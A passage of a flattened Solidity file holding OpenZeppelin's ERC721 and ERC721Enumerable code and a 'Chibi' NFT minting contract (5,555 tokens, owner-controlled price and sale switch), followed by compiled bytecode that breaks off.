owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol@v4.2.0 pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File contracts/Chibi.sol pragma solidity ^0.8.0; contract Chibi is ERC721Enumerable, Ownable { uint256 public constant TOTAL_CHIBI_AMOUNT = 5555; uint256 public constant MAX_PURCHASE = 10; uint256 public price = 55000000000000000; bool public isSaleOpen = false; string internal _baseTokenURI; using Strings for uint256; constructor(string memory baseURI) ERC721("chibilegends", "Chibi") { changeBaseURI(baseURI); } /** ** Modifiers */ modifier mintingIsAvailable{ require(totalSupply() < TOTAL_CHIBI_AMOUNT, "No Chibi left to mint."); _; } /** ** onlyOwner functions */ function getBaseURI() public onlyOwner view returns (string memory) { return _baseURI(); } function changeBaseURI(string memory baseURI) public onlyOwner { _baseTokenURI = baseURI; } function changePrice(uint _price) public onlyOwner { price = _price; } function changeSaleOpen(bool _open) public onlyOwner { isSaleOpen = _open; } function withdrawAll() public payable onlyOwner { require(payable(_msgSender()).send(address(this).balance)); } /** ** Public functions */ function mintChibi(uint256 qty) public payable mintingIsAvailable { if(msg.sender != owner()){ require(isSaleOpen, "Sale is not open."); } require(totalSupply() < TOTAL_CHIBI_AMOUNT, "All Chibis are minted."); require(qty <= MAX_PURCHASE, "Buying too many per transaction."); require(SafeMath.add(totalSupply(), qty) <= TOTAL_CHIBI_AMOUNT, "Going over 5555 chibi with the purchase."); require(msg.value >= _getPrice(qty), "Invalid price."); for(uint256 i = 0; i < qty; i++) { _safeMint(msg.sender, totalSupply()); } } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, "/", tokenId.toString(), ".json")) : ""; } /** ** Internal functions */ function _getPrice(uint256 qty) internal view returns (uint256) { return price * qty; } }
0x6080604052600436106101c25760003560e01c80637146bd08116100f7578063a22cb46511610095578063d639cdd111610064578063d639cdd114610635578063e985e9c51461065e578063eb7d6d211461069b578063f2fde38b146106b7576101c2565b8063a22cb4651461057d578063a2b40d19146105a6578063b88d4fde146105cf578063c87b56dd146105f8576101c2565b8063853828b6116100d1578063853828b6146104f25780638da5cb5b146104fc57806395d89b4114610527578063a035b1fe14610552576101c2565b80637146bd0814610485578063714c5398146104b0578063715018a6146104db576101c2565b80632f745c59116101645780634f6ccce71161013e5780634f6ccce7146103a35780636352211e146103e05780636cf4167e1461041d57806370a0823114610448576101c2565b80632f745c591461031457806339a0c6f91461035157806342842e0e1461037a576101c2565b8063095ea7b3116101a0578063095ea7b31461026c57806318160ddd146102955780631a081330146102c057806323b872dd146102eb576101c2565b806301ffc9a7146101c757806306fdde0314610204578063081812fc1461022f575b600080fd5b3480156101d357600080fd5b506101ee60048036038101906101e99190612ce3565b6106e0565b6040516101fb91906137ca565b60405180910390f35b34801561021057600080fd5b5061021961075a565b60405161022691906137e5565b60405180910390f35b34801561023b57600080fd5b5061025660048036038101906102519190612d76565b6107ec565b6040516102639190613763565b60405180910390f35b34801561027857600080fd5b50610293600480360381019061028e9190612c7e565b610871565b005b3480156102a157600080fd5b506102aa610989565b6040516102b79190613b07565b60405180910390f35b3480156102cc57600080fd5b506102d5610996565b6040516102e291906137ca565b60405180910390f35b3480156102f757600080fd5b50610312600480360381019061030d9190612b78565b6109a9565b005b34801561032057600080fd5b5061033b60048036038101906103369190612c7e565b610a09565b6040516103489190613b07565b60405180910390f35b34801561035d57600080fd5b5061037860048036038101906103739190612d35565b610aae565b005b34801561038657600080fd5b506103a1600480360381019061039c9190612b78565b610b44565b005b3480156103af57600080fd5b506103ca60048036038101906103c59190612d76565b610b64565b6040516103d79190613b07565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190612d76565b610bfb565b6040516104149190613763565b60405180910390f35b34801561042957600080fd5b50610432610cad565b60405161043f9190613b07565b60405180910390f35b34801561045457600080fd5b5061046f600480360381019061046a9190612b13565b610cb3565b60405161047c9190613b07565b60405180910390f35b34801561049157600080fd5b5061049a610d6b565b6040516104a79190613b07565b60405180910390f35b3480156104bc57600080fd5b506104c5610d70565b6040516104d291906137e5565b60405180910390f35b3480156104e757600080fd5b506104f0610dfb565b005b6104fa610e83565b005b34801561050857600080fd5b50610511610f46565b60405161051e9190613763565b60405180910390f35b34801561053357600080fd5b5061053c610f70565b60405161054991906137e5565b60405180910390f35b34801561055e57600080fd5b50610567611002565b6040516105749190613b07565b60405180910390f35b34801561058957600080fd5b506105a4600480360381019061059f9190612c42565b611008565b005b3480156105b257600080fd5b506105cd60048036038101906105c89190612d76565b611189565b005b3480156105db57600080fd5b506105f660048036038101906105f19190612bc7565b61120f565b005b34801561060457600080fd5b5061061f600480360381019061061a9190612d76565b611271565b60405161062c91906137e5565b60405180910390f35b34801561064157600080fd5b5061065c60048036038101906106579190612cba565b611318565b005b34801561066a57600080fd5b5061068560048036038101906106809190612b3c565b6113b1565b60405161069291906137ca565b60405180910390f35b6106b560048036038101906106b09190612d76565b611445565b005b3480156106c357600080fd5b506106de60048036038101906106d99190612b13565b61167c565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610753575061075282611774565b5b9050919050565b60606000805461076990613dc1565b80601f016020809104026020016040519081016040528092919081815260200182805461079590613dc1565b80156107e25780601f106107b7576101008083540402835291602001916107e2565b820191906000526020600020905b8154815290600101906020018083116107c557829003601f168201915b5050505050905090565b60006107f782611856565b610836576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082d906139c7565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061087c82610bfb565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e490613a47565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1661090c6118c2565b73ffffffffffffffffffffffffffffffffffffffff16148061093b575061093a816109356118c2565b6113b1565b5b61097a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097190613927565b60405180910390fd5b61098483836118ca565b505050565b6000600880549050905090565b600c60009054906101000a900460ff1681565b6109ba6109b46118c2565b82611983565b6109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f090613a67565b60405180910390fd5b610a04838383611a61565b505050565b6000610a1483610cb3565b8210610a55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4c90613807565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b610ab66118c2565b73ffffffffffffffffffffffffffffffffffffffff16610ad4610f46565b73ffffffffffffffffffffffffffffffffffffffff1614610b2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b21906139e7565b60405180910390fd5b80600d9080519060200190610b40929190612937565b5050565b610b5f8383836040518060200160405280600081525061120f565b505050565b6000610b6e610989565b8210610baf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba690613ac7565b60405180910390fd5b60088281548110610be9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610ca4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9b90613967565b60405180910390fd5b80915050919050565b6115b381565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90613947565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a81565b6060610d7a6118c2565b73ffffffffffffffffffffffffffffffffffffffff16610d98610f46565b73ffffffffffffffffffffffffffffffffffffffff1614610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de5906139e7565b60405180910390fd5b610df6611cbd565b905090565b610e036118c2565b73ffffffffffffffffffffffffffffffffffffffff16610e21610f46565b73ffffffffffffffffffffffffffffffffffffffff1614610e77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6e906139e7565b60405180910390fd5b610e816000611d4f565b565b610e8b6118c2565b73ffffffffffffffffffffffffffffffffffffffff16610ea9610f46565b73ffffffffffffffffffffffffffffffffffffffff1614610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef6906139e7565b60405180910390fd5b610f076118c2565b73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050610f4457600080fd5b565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060018054610f7f90613dc1565b80601f0160208091040260200160405190810160405280929190818152602001828054610fab90613dc1565b8015610ff85780601f10610fcd57610100808354040283529160200191610ff8565b820191906000526020600020905b815481529060010190602001808311610fdb57829003601f168201915b5050505050905090565b600b5481565b6110106118c2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561107e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611075906138a7565b60405180910390fd5b806005600061108b6118c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff166111386118c2565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c318360405161117d91906137ca565b60405180910390a35050565b6111916118c2565b73ffffffffffffffffffffffffffffffffffffffff166111af610f46565b73ffffffffffffffffffffffffffffffffffffffff1614611205576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111fc906139e7565b60405180910390fd5b80600b8190555050565b61122061121a6118c2565b83611983565b61125f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125690613a67565b60405180910390fd5b61126b84848484611e15565b50505050565b606061127c82611856565b6112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b290613a27565b60405180910390fd5b60006112c5611cbd565b905060008151116112e55760405180602001604052806000815250611310565b806112ef84611e71565b604051602001611300929190613729565b6040516020818303038152906040525b915050919050565b6113206118c2565b73ffffffffffffffffffffffffffffffffffffffff1661133e610f46565b73ffffffffffffffffffffffffffffffffffffffff1614611394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138b906139e7565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6115b3611450610989565b10611490576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148790613aa7565b60405180910390fd5b611498610f46565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461151a57600c60009054906101000a900460ff16611519576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151090613ae7565b60405180910390fd5b5b6115b3611525610989565b10611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90613907565b60405180910390fd5b600a8111156115a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a090613a87565b60405180910390fd5b6115b36115bd6115b7610989565b8361201e565b11156115fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f5906138c7565b60405180910390fd5b61160781612034565b341015611649576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164090613987565b60405180910390fd5b60005b818110156116785761166533611660610989565b61204b565b808061167090613df3565b91505061164c565b5050565b6116846118c2565b73ffffffffffffffffffffffffffffffffffffffff166116a2610f46565b73ffffffffffffffffffffffffffffffffffffffff16146116f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ef906139e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175f90613847565b60405180910390fd5b61177181611d4f565b50565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061183f57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b8061184f575061184e82612069565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661193d83610bfb565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600061198e82611856565b6119cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c4906138e7565b60405180910390fd5b60006119d883610bfb565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611a4757508373ffffffffffffffffffffffffffffffffffffffff16611a2f846107ec565b73ffffffffffffffffffffffffffffffffffffffff16145b80611a585750611a5781856113b1565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611a8182610bfb565b73ffffffffffffffffffffffffffffffffffffffff1614611ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ace90613a07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3e90613887565b60405180910390fd5b611b528383836120d3565b611b5d6000826118ca565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bad9190613cd7565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611c049190613bf6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6060600d8054611ccc90613dc1565b80601f0160208091040260200160405190810160405280929190818152602001828054611cf890613dc1565b8015611d455780601f10611d1a57610100808354040283529160200191611d45565b820191906000526020600020905b815481529060010190602001808311611d2857829003601f168201915b5050505050905090565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b611e20848484611a61565b611e2c848484846121e7565b611e6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6290613827565b60405180910390fd5b50505050565b60606000821415611eb9576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612019565b600082905060005b60008214611eeb578080611ed490613df3565b915050600a82611ee49190613c4c565b9150611ec1565b60008167ffffffffffffffff811115611f2d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611f5f5781602001600182028036833780820191505090505b5090505b6000851461201257600182611f789190613cd7565b9150600a85611f879190613e3c565b6030611f939190613bf6565b60f81b818381518110611fcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561200b9190613c4c565b9450611f63565b8093505050505b919050565b6000818361202c9190613bf6565b905092915050565b600081600b546120449190613c7d565b9050919050565b61206582826040518060200160405280600081525061237e565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b6120de8383836123d9565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121215761211c816123de565b612160565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461215f5761215e8382612427565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156121a35761219e81612594565b6121e2565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146121e1576121e082826126d7565b5b5b505050565b60006122088473ffffffffffffffffffffffffffffffffffffffff16612756565b15612371578373ffffffffffffffffffffffffffffffffffffffff1663150b7a026122316118c2565b8786866040518563ffffffff1660e01b8152600401612253949392919061377e565b602060405180830381600087803b15801561226d57600080fd5b505af192505050801561229e57506040513d601f19601f8201168201806040525081019061229b9190612d0c565b60015b612321573d80600081146122ce576040519150601f19603f3d011682016040523d82523d6000602084013e6122d3565b606091505b50600081511415612319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231090613827565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612376565b600190505b949350505050565b6123888383612769565b61239560008484846121e7565b6123d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123cb90613827565b60405180910390fd5b505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b6000600161243484610cb3565b61243e9190613cd7565b9050600060076000848152602001908152602001600020549050818114612523576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b600060016008805490506125a89190613cd7565b90506000600960008481526020019081526020016000205490506000600883815481106125fe577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110612646577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200181905550816009600083815260200190815260200160002081905550600960008581526020019081526020016000206000905560088054806126bb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b60006126e283610cb3565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600080823b905060008111915050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d0906139a7565b60405180910390fd5b6127e281611856565b15612822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161281990613867565b60405180910390fd5b61282e600083836120d3565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461287e9190613bf6565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b82805461294390613dc1565b90600052602060002090601f01602090048101928261296557600085556129ac565b82601f1061297e57805160ff19168380011785556129ac565b828001600101855582156129ac579182015b828111156129ab578251825591602001919060010190612990565b5b5090506129b991906129bd565b5090565b5